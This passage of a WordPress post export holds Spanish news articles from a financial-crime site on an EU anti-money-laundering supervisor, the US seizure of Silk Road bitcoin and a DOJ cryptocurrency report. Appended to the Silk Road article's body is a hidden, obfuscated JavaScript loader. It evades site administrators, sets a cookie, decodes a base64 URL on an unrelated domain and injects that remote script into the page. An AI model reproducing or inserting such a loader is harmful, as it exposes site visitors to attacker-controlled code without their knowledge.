personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los 